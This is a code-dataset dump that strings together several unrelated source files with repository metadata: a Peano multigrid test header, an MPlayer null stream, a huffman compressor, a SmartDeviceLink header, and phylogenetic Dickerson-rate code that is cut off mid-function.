// Copyright (C) 2009 Technische Universitaet Muenchen // This file is part of the Peano project. For conditions of distribution and // use, please see the copyright notice at www5.in.tum.de/peano #ifndef _MATRIXFREE_SOLVER_TESTS_MULTIGRID_TEST_H_ #define _MATRIXFREE_SOLVER_TESTS_MULTIGRID_TEST_H_ #include "tarch/tests/TestCaseFactory.h" #include "tarch/tests/TestCase.h" namespace matrixfree { namespace solver { namespace tests { class MultigridTest; } } } /** * Test case for the matrix-free Galerkin components * * @author Marion Weinzierl */ class matrixfree::solver::tests::MultigridTest: public tarch::tests::TestCase{ private: void testCalculateCellInterGridTransferOperator(); void testCalculatePetrovGalerkinCoarseGridOperatorForBilinearInterGridTransferOperators(); void testReconstructStencilFragments(); /** * Example from the solver that tests positivitiy. */ void testReconstruction0(); public: MultigridTest(); virtual ~MultigridTest(); virtual void run(); }; #endif
24.136364
94
0.748588
70221482d4aeb51e26c26b3695b7a10ecbac239e
366
c
C
third_party/mplayer/stream/stream_null.c
Narflex/sagetv
76cb5755e54fd3b01d2bb708a8a72af0aa1533f1
[ "Apache-2.0" ]
292
2015-08-10T18:34:55.000Z
2022-01-26T00:38:45.000Z
third_party/mplayer/stream/stream_null.c
Narflex/sagetv
76cb5755e54fd3b01d2bb708a8a72af0aa1533f1
[ "Apache-2.0" ]
366
2015-08-10T18:21:02.000Z
2022-01-22T20:03:41.000Z
third_party/mplayer/stream/stream_null.c
Narflex/sagetv
76cb5755e54fd3b01d2bb708a8a72af0aa1533f1
[ "Apache-2.0" ]
227
2015-08-10T22:24:29.000Z
2022-02-25T19:16:21.000Z
#include "config.h" #include <stdlib.h> #include <string.h> #include "stream.h" static int open_s(stream_t *stream,int mode, void* opts, int* file_format) { stream->type = STREAMTYPE_DUMMY; return 1; } stream_info_t stream_info_null = { "Null stream", "null", "Albeu", "", open_s, { "null", NULL }, NULL, 0 // Urls are an option string };
14.076923
76
0.642077
018080a4d496411ee75852a6a993fbad375053e6
9,713
h
C
huffman.h
ronakchauhan97/hcomp
3d81262827d2a3b4f2bdee7a8563f082e8aa8664
[ "MIT" ]
null
null
null
huffman.h
ronakchauhan97/hcomp
3d81262827d2a3b4f2bdee7a8563f082e8aa8664
[ "MIT" ]
null
null
null
huffman.h
ronakchauhan97/hcomp
3d81262827d2a3b4f2bdee7a8563f082e8aa8664
[ "MIT" ]
null
null
null
/* Contains routines used for compression and decompression */ #ifndef HUFFMAN_H #define HUFFMAN_H void file_not_found_error(const char *file_name) { fprintf(stderr, BOLD "hcomp: " RED_BOLD "error: " RESET "%s not found\n", file_name); exit(1); } void empty_file_error(const char *file_name) { fprintf(stderr, BOLD "hcomp: " RED_BOLD "error: " RESET "%s is an empty file\n", file_name); exit(2); } /* Read the input file and make the frequency table */ size_t read(const char *source, uint32_t *table) { size_t bytes_read = 0; FILE *fin = fopen(source, "rb"); if(!fin) { file_not_found_error(source); } fseek(fin, 0, SEEK_END); bytes_read = (size_t)(ftell(fin)); if(bytes_read == 0){ fclose(fin); empty_file_error(source); } fseek(fin, 0, SEEK_SET); uint8_t buff; while(!feof(fin) && fread(&buff, sizeof(buff), 1, fin)) { table[(uint8_t)buff]++; } fclose(fin); return bytes_read; } /* Write first char (i.e first 8 bits) of the encoded bitstring at the beginning of the compressed file. * Before starting decompression, these the chars are compared (see check() function) , if they donot match, * it implies that the file is not a hcomp archive. * * It's a heuristic and in an in some rare case, the chars may match and hcomp may produce some * garbage output file or end with a segmentation fault while doing so. * It's rare because here's how works: * - 1st byte -> read to check_num * - the next 2 bytes -> read to c * - the next [c*(1 + 4) + 4] bytes are skipped (this value is depends on c) * - then 1 byte is read to num * - compare check_num and num */ size_t write_check_num(const char *source, const char* target, char code[][256]) { FILE *fin = fopen(source, "rb"); FILE *fout = fopen(target, "wb"); uint8_t check_num = 0; uint8_t current_char = 0; uint8_t ors = 0; uint16_t len = 0; while(ors < 8) { if(!feof(fin) && fread(&current_char, sizeof(current_char), 1, fin)) { len = strlen(code[current_char]); for(uint16_t i = 0; i < len; i++) { if(code[current_char][i] == '1') { check_num = check_num | 1; } ors++; if(ors == 8) { break; } else { check_num = check_num << 1; } } } else { check_num = check_num << (8 - ors); break; } } fputc(check_num, fout); fclose(fin); fclose(fout); return sizeof(check_num); } void check(const char* source) { FILE *fin = fopen(source, "rb"); if(!fin) { file_not_found_error(source); } fseek(fin, 0, SEEK_END); long int size = ftell(fin); if(size == 0){ fclose(fin); empty_file_error(source); } else { fseek(fin, 0, SEEK_SET); uint8_t check_num = 0; uint8_t num = 1; uint16_t c; fread(&check_num, sizeof(check_num), 1, fin); fread(&c, sizeof(c), 1, fin); fseek(fin, c*(sizeof(uint8_t) + sizeof(uint32_t)) + sizeof(uint32_t), SEEK_CUR); fread(&num, sizeof(num), 1, fin); fclose(fin); if(num != check_num) { fprintf(stderr, BOLD "hcomp: " RED_BOLD "error: " RESET "%s is not a hcomp archive\n", source); exit(3); } } } /* Write chars and their frequencies to compressed file so that the tree can * be rebuilt during decompression. * This is called before the compressed bitstring is written */ size_t write_header_info(const char* target, uint32_t* table, uint32_t uncomp_bytes) { FILE* fout = fopen(target, "ab"); size_t bytes_written = 0; uint8_t ascii_char; uint32_t frequency; uint16_t c = 0; /* counts the no. of distinct ascii chars i.e #leaf_nodes*/ for(uint16_t i = 0; i < 256; i++) { if(table[i] != 0) { c++; } } fwrite(&c, sizeof(c), 1, fout); bytes_written += sizeof(c); for(uint16_t i = 0; i < 256; i++) { if(table[i] != 0) { ascii_char = (uint8_t)(i); frequency = table[i]; fwrite(&ascii_char, sizeof(ascii_char), 1, fout); fwrite(&frequency, sizeof(frequency), 1, fout); bytes_written += sizeof(ascii_char) + sizeof(frequency); } } fwrite(&uncomp_bytes, sizeof(uncomp_bytes), 1, fout); bytes_written += sizeof(uncomp_bytes); fclose(fout); return bytes_written; } /* Read frequency table from compressed file for rebuilding the huffman tree */ size_t parse_header_info(const char* source, uint32_t *table) { FILE* fin = fopen(source, "rb"); if(!fin) { file_not_found_error(source); } size_t bytes_read = 0; uint8_t ascii_char; uint32_t frequency; uint16_t c; fseek(fin, sizeof(uint8_t), SEEK_CUR); fread(&c, sizeof(c), 1, fin); bytes_read += sizeof(c) + sizeof(uint8_t); for(uint16_t i = 0; i < c; i++) { fread(&ascii_char, sizeof(ascii_char), 1, fin); fread(&frequency, sizeof(frequency), 1, fin); table[ascii_char] = frequency; bytes_read += sizeof(frequency) + sizeof(ascii_char); } fclose(fin); return bytes_read; } /* Build tree using nodes from the list of pending nodes. * This is done till there is only one node left in the pending list (i.e a single tree) */ t_node *build_tree(l_node **t) { l_node *w_list = *t; t_node *root = w_list->subtree; t_node *min1 = NULL, *min2 = NULL; uint32_t min_val = 0; while(w_list->next != NULL) { root = (t_node*)malloc(sizeof(t_node)); min_val = find_min(&w_list); min1 = extract(&w_list, min_val); min_val = find_min(&w_list); min2 = extract(&w_list, min_val); root->left = min1; root->right = min2; root->frequency = min1->frequency + min2->frequency; append(&w_list, root); } return root; } /* Traverse the tree to generate huffman code and store it in a string * at corresponding ascii char valued index */ void get_code(t_node *t, char *current_code, char hcode[][256]) { if(t->left == NULL && t->right == NULL) { strcpy(hcode[(int)(t->character)], current_code); } else { uint8_t len = strlen(current_code); char left_code[256],right_code[256]; strcpy(left_code,current_code); strcpy(right_code,current_code); left_code[len] = '0'; left_code[len+1] = '\0'; right_code[len] = '1'; right_code[len+1] = '\0'; get_code(t->left,left_code, hcode); get_code(t->right,right_code, hcode); } } /* Write the source file to target using corresponding huffman codes instead of ascii codes. * Start by reading the source file again, fill up current_buff(an unsigned char) with huffman code * and write it to the target file. */ size_t compress(const char *source, const char *target, uint32_t n_bytes, char code[][256]) { FILE *fin = fopen(source, "rb"); FILE *fout = fopen(target, "ab"); size_t bytes_written = 0; uint8_t current_buff = 0; /* char written to fout (target) */ uint8_t current_char = 0; /* char read from fin (source) */ uint8_t ors = 0; /* counts OR operations on current_buff i.e #bits filled in current_buff */ int16_t len = 0, i = -1, j; size_t x = 0; /* counts the no. of bytes that have been read from input */ do { i = -1; if(!feof(fin) && fread(&current_char, sizeof(current_char), 1, fin)) { i = current_char, j = 0; len = strlen(code[i]); while(j < len) { if(code[i][j] == '1') { current_buff = current_buff | 1; } ors++; /* if current_buff is filled with 8 bits, write it to fout */ if(ors == 8) { fputc(current_buff, fout); current_buff = 0; ors = 0; bytes_written++; } /* if reached to the end of the source file, shift code completely to the left */ else if(x == n_bytes-1 && j == len - 1) { current_buff = current_buff << (8 - ors); fputc(current_buff, fout); bytes_written++; } /* otherwise, left shift all bits by 1 */ else { current_buff = current_buff << 1; } j++; } x++; } } while(i != -1); fclose(fin); fclose(fout); return bytes_written; } /* Traverse the tree while parsing huffman codes, and as a leaf node is reached, * write the corresponding char to target file. * As 8 bits are read at a time, bit manipulations are used to differentiate 1s from 0s. * The additional arguement *b is just used for counting the no. of bytes read */ size_t decompress(const char *source, const char *target, t_node* root, size_t *b) { FILE *fin = fopen(source, "rb"); FILE *fout = fopen(target, "wb"); /* First reading #leaf_nodes (2 bytes), and the skipping the #leaf_nodes entries of the frequency table * as they are already read, and the tree is ready * Then, reading the original(uncompressed) file size so that the extra padding of 0s doesn't * lead to writing extra bytes after decompression * (original file size was written to file in write_header_info()) */ uint16_t c = 0; /* #leaf_nodes */ uint32_t uncomp_bytes = 0; fseek(fin, sizeof(uint8_t), SEEK_SET); fread(&c, sizeof(c), 1, fin); fseek(fin, c*(sizeof(uint8_t) + sizeof(uint32_t)), SEEK_CUR); fread(&uncomp_bytes, sizeof(uncomp_bytes), 1, fin); (*b) += sizeof(uncomp_bytes); /* Storing powers of 2 for fast lookup instead of re-calculation */ uint8_t two_raised_to[8]; for(int8_t i = 0; i < 8; i++) { two_raised_to[i] = (uint8_t)pow(2,i); } size_t bytes_written = 0; uint8_t current_char = 0; /* char read from fin (source) */ uint8_t check = 0; /* used to check bits in current_char */ t_node *current = root; while(!feof(fin) && fread(&current_char, sizeof(current_char), 1, fin)) { for(int8_t i = 7; i >= 0; i--) { check = current_char & two_raised_to[i]; if(check != 0 && current->right != NULL) { current = current->right; } else if(check == 0 && current->left != NULL) { current = current->left; } if(current->left == NULL && current->right == NULL && uncomp_bytes != 0) { fputc(current->character, fout); current = root; bytes_written++; uncomp_bytes--; } } (*b)++; } return bytes_written; } #endif
25.970588
108
0.652322
d7f369348e664a19f50584ef866349c53a4845fa
659
h
C
SmartDeviceLink/SDLOnDriverDistraction.h
rbright55/sdl_ios
3bb5e39e98ea18a176f1c60cfdd8284902f2c262
[ "BSD-3-Clause" ]
null
null
null
SmartDeviceLink/SDLOnDriverDistraction.h
rbright55/sdl_ios
3bb5e39e98ea18a176f1c60cfdd8284902f2c262
[ "BSD-3-Clause" ]
1
2020-10-15T15:25:42.000Z
2020-10-15T15:25:42.000Z
SmartDeviceLink/SDLOnDriverDistraction.h
rbright55/sdl_ios
3bb5e39e98ea18a176f1c60cfdd8284902f2c262
[ "BSD-3-Clause" ]
4
2017-06-08T02:32:40.000Z
2018-05-10T02:10:44.000Z
// SDLOnDriverDistraction.h // #import "SDLRPCNotification.h" #import "SDLDriverDistractionState.h" /** Notifies the application of the current driver distraction state (whether driver distraction rules are in effect, or not). HMI Status Requirements: HMILevel: Can be sent with FULL, LIMITED or BACKGROUND AudioStreamingState: Any SystemContext: Any @since SDL 1.0 */ NS_ASSUME_NONNULL_BEGIN @interface SDLOnDriverDistraction : SDLRPCNotification /** The driver distraction state (i.e. whether driver distraction rules are in effect, or not) */ @property (strong, nonatomic) SDLDriverDistractionState state; @end NS_ASSUME_NONNULL_END
19.382353
123
0.781487
a89dac9620a6fb32ba11faa17a4ea6e6ce317c32
21,045
c
C
src/Dickersonrates.c
EddyRivasLab/R-scape
e7f45f72965737d720e9e52c0eeb87162cde136d
[ "BSD-3-Clause" ]
2
2020-02-03T11:51:08.000Z
2021-03-19T21:55:49.000Z
src/Dickersonrates.c
EddyRivasLab/R-scape
e7f45f72965737d720e9e52c0eeb87162cde136d
[ "BSD-3-Clause" ]
1
2021-02-15T19:06:43.000Z
2021-02-15T19:06:43.000Z
src/Dickersonrates.c
EddyRivasLab/R-scape
e7f45f72965737d720e9e52c0eeb87162cde136d
[ "BSD-3-Clause" ]
null
null
null
/* Dickerson rates * * */ #include "p7_config.h" #include <unistd.h> #include <stdlib.h> #include <stdio.h> #include <string.h> #include <sys/types.h> #include <math.h> #include <float.h> #include "easel.h" #include "esl_getopts.h" #include "esl_histogram.h" #include "esl_msa.h" #include "esl_msafile.h" #include "esl_stack.h" #include "esl_tree.h" #include "esl_vectorops.h" #include "hmmer.h" #include "e2.h" #include "e2_pipeline.h" #include "e2_trace.h" #include "Dickersonrates.h" #include "fetchpfamdb.h" #include "homology.h" #include "msatree.h" #include "mya.h" #include "plot.h" #include "ssifile.h" static int e2_changerates(int c, int a, const ESL_TREE *T, PSQ *sqc, PSQ *sqa, E2_TRACE *tr, float *ret_srate, float *ret_drate, float *ret_brate, float *ret_irate); int e2DickersonChangeRates(FILE *outfp, char *gnuplot, char *distfile, char *histofile, char *ratefile, char *binratefile, ESL_RANDOMNESS *r, ESL_MSA *msa, ESL_TREE *T, SPECIES *SPE, E2_PIPELINE *pli, E2_ALI e2ali, float evalcutoff, E1_RATE *R, P7_RATE *R7, E1_BG *bg, P7_BG *bg7, float incbintime, float tlinear, int full, float tol, int view, char *errbuf, int verbose) { char *ssidistfile = NULL; char **taxalist = NULL; FILE *distfp = NULL; ESL_STACK *vs = NULL; /* node index stack */ ESL_SQ *sq = NULL; E2_TRACE **tr = NULL; PSQ **sqn = NULL; /* a profile sequence for each internal node */ PSQ *sql = NULL; /* convenience pointer to sq in left branch */ PSQ *sqr = NULL; /* convenience pointer to sq in left branch */ double maxdt = 0.; float maxmya = 10000.; float maxbintime; int do_viterbi = FALSE; int nnodes; int ntaxa = 0; /* those that actually have a species assigned by ncbi */ int x; /* index over ntaxa */ int v; int which; int status; nnodes = (T->N > 1)? T->N-1 : T->N; /* allocate the profile sequence for internal nodes */ ESL_ALLOC(tr, sizeof(E2_TRACE *) * (nnodes)); ESL_ALLOC(sqn, sizeof(PSQ *) * (nnodes)); for (v = 0; v < nnodes; v ++) { sqn[v] = NULL; tr[v] = NULL; } /* maxdt in between two species in T */ Tree_GetNodeTime(0, T, NULL, NULL, &maxdt, errbuf, verbose); maxdt += 2.; maxdt *= 2.; maxbintime = (SPE->n > 0)? maxmya : (float)maxdt; /* Create an ssi index of distfile */ if (distfile != NULL) { status = ssi_distfile_Create(distfile, &ssidistfile, &taxalist, &ntaxa); if (status != eslOK) { fprintf(outfp, "ssi_dist_Create failed for file %s\n", distfile); status = eslFAIL; goto ERROR; } if (verbose) fprintf(outfp, "ssifile %s created\n", ssidistfile); if ((distfp = fopen(distfile, "r")) == NULL) { printf("failed to open %s\n", distfile); status = eslFAIL; goto ERROR; } } /* PostOrder trasversal */ if ((vs = esl_stack_ICreate()) == NULL) { status = eslFAIL; goto ERROR; } if (esl_stack_IPush(vs, nnodes-1) != eslOK) { status = eslFAIL; goto ERROR; } while (esl_stack_IPop(vs, &v) == eslOK) { if (T->left[v] <= 0) { /* dealign seq and convert to a psq */ which = -T->left[v]; status = esl_sq_FetchFromMSA(msa, which, &sq); /* extract the seqs from the msa */ if (status != eslOK) { printf("esl_sq_FetchFromMSA() failed\n"); goto ERROR; } switch(e2ali) { case E2: sqn[nnodes+which] = psq_CreateFrom(sq->name, msa->desc, msa->acc, msa->abc, sq->dsq, sq->n); break; case E2HMMER: sqn[nnodes+which] = psq_CreateFrom(sq->name, msa->desc, msa->acc, msa->abc, sq->dsq, sq->n); break; case E2F: sqn[nnodes+which] = psq_CreateFrom(sq->name, msa->desc, msa->acc, msa->abc, msa->ax[which], msa->alen); break; case E2FHMMER: sqn[nnodes+which] = psq_CreateFrom(sq->name, msa->desc, msa->acc, msa->abc, sq->dsq, sq->n); break; default: status = eslFAIL; printf("unknown alicase\n"); goto ERROR; } sql = sqn[nnodes+which]; esl_sq_Destroy(sq); sq = NULL; } else sql = sqn[T->left[v]]; if (T->right[v] <= 0) { /* dealign seq and convert to a psq */ which = -T->right[v]; status = esl_sq_FetchFromMSA(msa, which, &sq); /* extract the seqs from the msa */ if (status != eslOK) { printf("esl_sq_FetchFromMSA() failed\n"); goto ERROR; } switch(e2ali) { case E2: if (e2ali == E2 || e2ali == E2HMMER) sqn[nnodes+which] = psq_CreateFrom(sq->name, msa->desc, msa->acc, msa->abc, sq->dsq, sq->n); break; case E2HMMER: sqn[nnodes+which] = psq_CreateFrom(sq->name, msa->desc, msa->acc, msa->abc, sq->dsq, sq->n); break; case E2F: sqn[nnodes+which] = psq_CreateFrom(sq->name, msa->desc, msa->acc, msa->abc, msa->ax[which], msa->alen); break; case E2FHMMER: sqn[nnodes+which] = psq_CreateFrom(sq->name, msa->desc, msa->acc, msa->abc, sq->dsq, sq->n); break; default: status = eslFAIL; printf("unknown alicase\n"); goto ERROR; } sqr = sqn[nnodes+which]; esl_sq_Destroy(sq); sq = NULL; } else sqr = sqn[T->right[v]]; if (sql != NULL && sqr != NULL) { /* ready to go: find ancestral profile sq running the e2 algorithm */ if (verbose) fprintf(outfp, "\nNODE %d parent %d | l:%s %d (%f,len=%d) r:%s %d (%f,len=%d)\n", v, T->parent[v], sql->name, T->left[v], T->ld[v], (int)sql->n, sqr->name, T->right[v], T->rd[v], (int)sqr->n); /* use the bg frequencies for insertions */ status = e2_Pipeline(r, pli, sql, sqr, NULL, R, R7, bg, bg7, T->ld[v], T->rd[v], &(sqn[v]), &(tr[v]), NULL, NULL, e2ali, e2_GLOBAL, TRUE, do_viterbi, tol, errbuf, verbose); if (status != eslOK) goto ERROR; /* push parent into stack unless already at the root */ if (v > 0 && esl_stack_IPush(vs, T->parent[v]) != eslOK) { status = eslFAIL; goto ERROR; }; } else if (sql == NULL) { /* not ready: push left child into stack */ if (esl_stack_IPush(vs, T->left[v]) != eslOK) { status = eslFAIL; goto ERROR; }; } else if (sqr == NULL) { /* not ready: push right child into stack */ if (esl_stack_IPush(vs, T->right[v]) != eslOK) { status = eslFAIL; goto ERROR; }; } if (T->left[v] <= 0 && sql != NULL) { psq_Destroy(sql); sql = NULL; } if (T->right[v] <= 0 && sqr != NULL) { psq_Destroy(sqr); sqr = NULL; } } status = e2DickersonRatesCluster(outfp, histofile, ratefile, binratefile, gnuplot, ssidistfile, msa, T, (const E2_TRACE **)tr, (const PSQ **)sqn, SPE, taxalist, ntaxa, maxbintime, incbintime, tlinear, full, evalcutoff, view, errbuf, verbose); if (status != eslOK) goto ERROR; if (taxalist) { for (x = 0; x < ntaxa; x ++) if (taxalist[x]) free(taxalist[x]); free(taxalist); } if (distfp) fclose(distfp); if (ssidistfile) { remove(ssidistfile); free (ssidistfile); } e1_bg_Destroy(bg); esl_stack_Destroy(vs); for (v = 0; v < T->N-1; v ++) { psq_Destroy(sqn[v]); e2_trace_Destroy(tr[v]); } free(sqn); free(tr); return eslOK; ERROR: if (taxalist) { for (x = 0; x < ntaxa; x ++) if (taxalist[x]) free(taxalist[x]); free(taxalist); } if (ssidistfile) { remove(ssidistfile); free (ssidistfile); } if (vs) esl_stack_Destroy(vs); for (v = 0; v < T->N-1; v ++) { if (sqn[v]) psq_Destroy(sqn[v]); if (tr[v]) e2_trace_Destroy(tr[v]); } if (tr) free(tr); if (sqn) free(sqn); return status; } int e2DickersonRatesCluster(FILE *outfp, char *histofile, char *ratefile, char *binratefile, char *gnuplot, char *ssidistfile, const ESL_MSA *msa, const ESL_TREE *T, const E2_TRACE **tr, const PSQ **sqn, SPECIES *SPE, char **taxalist, int ntaxa, float maxbintime, float incbintime, float tlinear, int full, float evalcutoff, int view, char *errbuf, int verbose) { ESL_HISTOGRAM *h = NULL; double *evalues = NULL; double *x_mya = NULL; double *y_rate = NULL; double *y_e2rate = NULL; double *yb_rate_ave = NULL; double *yb_rate_std = NULL; double *yb_e2rate_ave = NULL; double *yb_e2rate_std = NULL; float chrate; float cchrate; float e2srate, e2drate; float e2brate, e2irate; float mya; float dt; float sc; /* homology score */ float eval; /* homology evalue */ int lca; int n, m; int N = 0; int nn = 0; int bx; int x; int status; h = (SPE->n > 0)? esl_histogram_Create(-1.0, maxbintime, incbintime) : esl_histogram_Create(-1.0, maxbintime, incbintime); ESL_ALLOC(yb_rate_ave, sizeof(double) * h->nb); esl_vec_DSet(yb_rate_ave, h->nb, 0.0); ESL_ALLOC(yb_rate_std, sizeof(double) * h->nb); esl_vec_DSet(yb_rate_std, h->nb, 0.0); ESL_ALLOC(yb_e2rate_ave, sizeof(double) * h->nb); esl_vec_DSet(yb_e2rate_ave, h->nb, 0.0); ESL_ALLOC(yb_e2rate_std, sizeof(double) * h->nb); esl_vec_DSet(yb_e2rate_std, h->nb, 0.0); ESL_ALLOC (evalues, sizeof(double) * (N+1)); ESL_ALLOC (x_mya, sizeof(double) * (N+1)); ESL_ALLOC (y_rate, sizeof(double) * (N+1)); ESL_ALLOC (y_e2rate, sizeof(double) * (N+1)); /* force it to go by (0,0) */ x_mya[N] = 0.0; y_rate[N] = 0.0; y_e2rate[N] = 0.0; evalues[N] = 0.0; esl_histogram_Add(h, 0.0); esl_histogram_Score2Bin(h, 0.0, &bx); yb_rate_ave[bx] += y_rate[N]; yb_rate_std[bx] += y_rate[N] * y_rate[N]; yb_e2rate_ave[bx] += y_e2rate[N]; yb_e2rate_std[bx] += y_e2rate[N] * y_e2rate[N]; N++; for (n = 0; n < msa->nseq-1; n ++) { for (m = n+1; m < msa->nseq; m ++) { status = Tree_FindLowerCommonAncestor(-n, -m, T, &lca, &dt); if (status != eslOK) goto ERROR; status = naiveDickersonRates(msa->abc, msa->ax[n], msa->ax[m], msa->alen, &chrate, &cchrate); if (status != eslOK) goto ERROR; status = e2DickersonRates(n, m, lca, T, msa, tr, sqn, &e2srate, &e2drate, &e2brate, &e2irate); if (status != eslOK) goto ERROR; status = homol_RunPHMMER(n, m, msa, &sc, &eval, errbuf, verbose); if (status != eslOK) goto ERROR; if (SPE->n > 0) { if (ssidistfile) { /* get mya from distfile */ status = mya_BetweenSpeciesFromSSIFile(ssidistfile, taxalist, ntaxa, SPE->parent[n][SPE->parentype], SPE->parent[m][SPE->parentype], &mya, FALSE); if (status != eslOK) goto ERROR; } else { /* calculate mya on the spot */ status = mya_BetweenLevels(n, m, SPE, &mya, errbuf, verbose); if (status != eslOK) goto ERROR; } if (mya > maxbintime) ESL_XFAIL(eslFAIL, errbuf, "mya %f larger than maxtime in histogram %f\n", mya, maxbintime); fprintf(outfp, "[%d]%f %f %f %f %f %f %f %f %f %s %s %s %s \n", nn++, mya, chrate, cchrate, e2srate, e2drate, e2brate, e2irate, sc, eval, msa->sqname[n], msa->sqname[m], SPE->spname[n], SPE->spname[m]); if (mya >= 0) { ESL_REALLOC(evalues, sizeof(double) * (N+1)); ESL_REALLOC(x_mya, sizeof(double) * (N+1)); ESL_REALLOC(y_rate, sizeof(double) * (N+1)); ESL_REALLOC(y_e2rate, sizeof(double) * (N+1)); x_mya[N] = (double)mya; y_rate[N] = (double)cchrate; y_e2rate[N] = (double)(e2srate+e2drate+e2brate); evalues[N] = (double)eval; esl_histogram_Add(h, mya); esl_histogram_Score2Bin(h, (double)mya, &bx); yb_rate_ave[bx] += y_rate[N]; yb_rate_std[bx] += y_rate[N] * y_rate[N]; yb_e2rate_ave[bx] += y_e2rate[N]; yb_e2rate_std[bx] += y_e2rate[N] * y_e2rate[N]; N++; } } else { if (dt > maxbintime) ESL_XFAIL(eslFAIL, errbuf, "time %f larger than maxtime in histogram %f\n", dt, maxbintime); fprintf(outfp, "[%d]%f %f %f %f %f %f %f %f %f %s %s \n", nn++, dt, chrate, cchrate, e2srate, e2drate, e2brate, e2irate, sc, eval, msa->sqname[n], msa->sqname[m]); ESL_REALLOC(evalues, sizeof(double) * (N+1)); ESL_REALLOC(x_mya, sizeof(double) * (N+1)); ESL_REALLOC(y_rate, sizeof(double) * (N+1)); ESL_REALLOC(y_e2rate, sizeof(double) * (N+1)); x_mya[N] = (double)dt; y_rate[N] = (double)cchrate; y_e2rate[N] = (double)(e2srate+e2drate+e2brate); evalues[N] = (double)eval; esl_histogram_Add(h, (double)dt); esl_histogram_Score2Bin(h, (double)dt, &bx); yb_rate_ave[bx] += y_rate[N]; yb_rate_std[bx] += y_rate[N] * y_rate[N]; yb_e2rate_ave[bx] += y_e2rate[N]; yb_e2rate_std[bx] += y_e2rate[N] * y_e2rate[N]; N++; } } } /* normalize the binned data */ for (x = 0; x < h->nb; x ++) { if (h->obs[x] > 0) { yb_rate_ave[x] /= (double) h->obs[x]; yb_rate_std[x] = sqrt((yb_rate_std[x] - yb_rate_ave[x] *yb_rate_ave[x] *(double)h->obs[x]) / ((double)h->obs[x])); yb_e2rate_ave[x] /= (double) h->obs[x]; yb_e2rate_std[x] = sqrt((yb_e2rate_std[x] - yb_e2rate_ave[x]*yb_e2rate_ave[x]*(double)h->obs[x]) / ((double)h->obs[x])); } } if ((status = plot_write_Histogram(histofile, h)) != eslOK) goto ERROR; if ((status = plot_write_RatesWithLinearRegression(ratefile, evalues, x_mya, y_rate, y_e2rate, tlinear, N, NULL)) != eslOK) goto ERROR; if ((status = plot_write_BinnedRatesWithLinearRegression(binratefile, h, yb_rate_ave, yb_rate_std, yb_e2rate_ave, yb_e2rate_std, tlinear, N, NULL)) != eslOK) goto ERROR; esl_histogram_Destroy(h); free(evalues); free(x_mya); free(y_rate); free(y_e2rate); free(yb_rate_ave); free(yb_rate_std); free(yb_e2rate_ave); free(yb_e2rate_std); return eslOK; ERROR: if (h) esl_histogram_Destroy(h); if (evalues) free(evalues); if (x_mya) free(x_mya); if (y_rate) free(y_rate); if (y_e2rate) free(y_e2rate); if (yb_rate_ave) free(yb_rate_ave); if (yb_rate_std) free(yb_rate_std); if (yb_e2rate_ave) free(yb_e2rate_ave); if (yb_e2rate_std) free(yb_e2rate_std); return status; } int naiveDickersonRates(const ESL_ALPHABET *abc, const ESL_DSQ *asq1, const ESL_DSQ *asq2, int64_t L, float *ret_chrate, float *ret_cchrate) { float chrate = 0.0; float cchrate = 0.0; int i; int n = 0; for (i = 1; i <= L; i++) { /* canonical (x < K) or gap (x = K) */ if (asq1[i] <= abc->K && asq2[i] <= abc->K) { n ++; if (asq1[i] == abc->K && asq2[i] == abc->K) n --; /* discard double gaps */ if (asq1[i] != asq2[i]) chrate += 1.0; } } if (n > 0) chrate *= 100.0 / (float)n; cchrate = -100.0 * log (1.0 - chrate/100.); if (chrate >= 99.999999999) { /* an anomaly that makes this method crap, just remove it */ cchrate = 0.0; } *ret_chrate = chrate; *ret_cchrate = cchrate; return eslOK; } int e2DickersonRates(int n, int m, int lca, const ESL_TREE *T, const ESL_MSA *msa, const E2_TRACE **tr, const PSQ **sqn, float *ret_e2srate, float *ret_e2drate, float *ret_e2brate, float *ret_e2irate) { ESL_STACK *vs = NULL; ESL_SQ *sq = NULL; PSQ *sq1 = NULL; PSQ *sq2 = NULL; PSQ *sqc; /* convenience pointer to child sequence */ float totsrate = 0.0; /* substitutions rate */ float totdrate = 0.0; /* deletions rate */ float totbrate = 0.0; /* insert blocks rate */ float totirate = 0.0; /* insertions rate */ float srate; float drate; float brate; float irate; int parentn, parentm; int child; int v; int status; if (( vs = esl_stack_ICreate()) == NULL) { status = eslEMEM; goto ERROR; }; esl_sq_FetchFromMSA(msa, n, &sq); /* extract the seqs from the msa */ sq1 = psq_CreateFrom(sq->name, msa->desc, msa->acc, msa->abc, sq->dsq, sq->n); esl_sq_Destroy(sq); sq = NULL; esl_sq_FetchFromMSA(msa, m, &sq); /* extract the seqs from the msa */ sq2 = psq_CreateFrom(sq->name, msa->desc, msa->acc, msa->abc, sq->dsq, sq->n); esl_sq_Destroy(sq); sq = NULL; parentn = T->taxaparent[n]; sqc = (PSQ *)sq1; child = -n; if (esl_stack_IPush(vs, parentn) != eslOK) { status = eslEMEM; goto ERROR; }; while (esl_stack_IPop(vs, &v) == eslOK) { status = e2_changerates(child, v, T, sqc, (PSQ *)sqn[v], (E2_TRACE *)tr[v], &srate, &drate, &brate, &irate); if (status != eslOK) goto ERROR; totsrate += srate; totdrate += drate; totbrate += brate; totirate += irate; if (v > lca) esl_stack_IPush(vs, T->parent[v]); child = v; sqc = (PSQ *)sqn[v]; } parentm = T->taxaparent[m]; sqc = (PSQ *)sq2; child = -m; if (esl_stack_IPush(vs, parentm) != eslOK) { status = eslEMEM; goto ERROR; }; while (esl_stack_IPop(vs, &v) == eslOK) { status = e2_changerates(child, v, T, sqc, (PSQ *)sqn[v], (E2_TRACE *)tr[v], &srate, &drate, &brate, &irate); if (status != eslOK) goto ERROR; totsrate += srate; totdrate += drate; totbrate += brate; totirate += irate; if (v > lca) esl_stack_IPush(vs, T->parent[v]); child = v; sqc = (PSQ *)sqn[v]; } *ret_e2srate = totsrate; *ret_e2drate = totdrate; *ret_e2brate = totbrate; *ret_e2irate = totirate; esl_stack_Destroy(vs); if (sq) esl_sq_Destroy(sq); psq_Destroy(sq1); psq_Destroy(sq2); return eslOK; ERROR: if (vs) esl_stack_Destroy(vs); if (sq) esl_sq_Destroy(sq); if (sq1) psq_Destroy(sq1); if (sq2) psq_Destroy(sq2); return status; } int e2_changerates(int c, int a, const ESL_TREE *T, PSQ *sqc, PSQ *sqa, E2_TRACE *tr, float *ret_srate, float *ret_drate, float *ret_brate, float *ret_irate) { float *pc = NULL; float *pa = NULL; float srate = 0.0; /* changes in res substitutions */ float drate = 0.0; /* changes in res deletions */ float brate = 0.0; /* rate of inserted blocks */ float irate = 0.0; /* rate of inserted residues */ int isleftchild = FALSE; int usei; int z; int prvst; int n = 0; int Kg = sqc->abc->K + 1; int 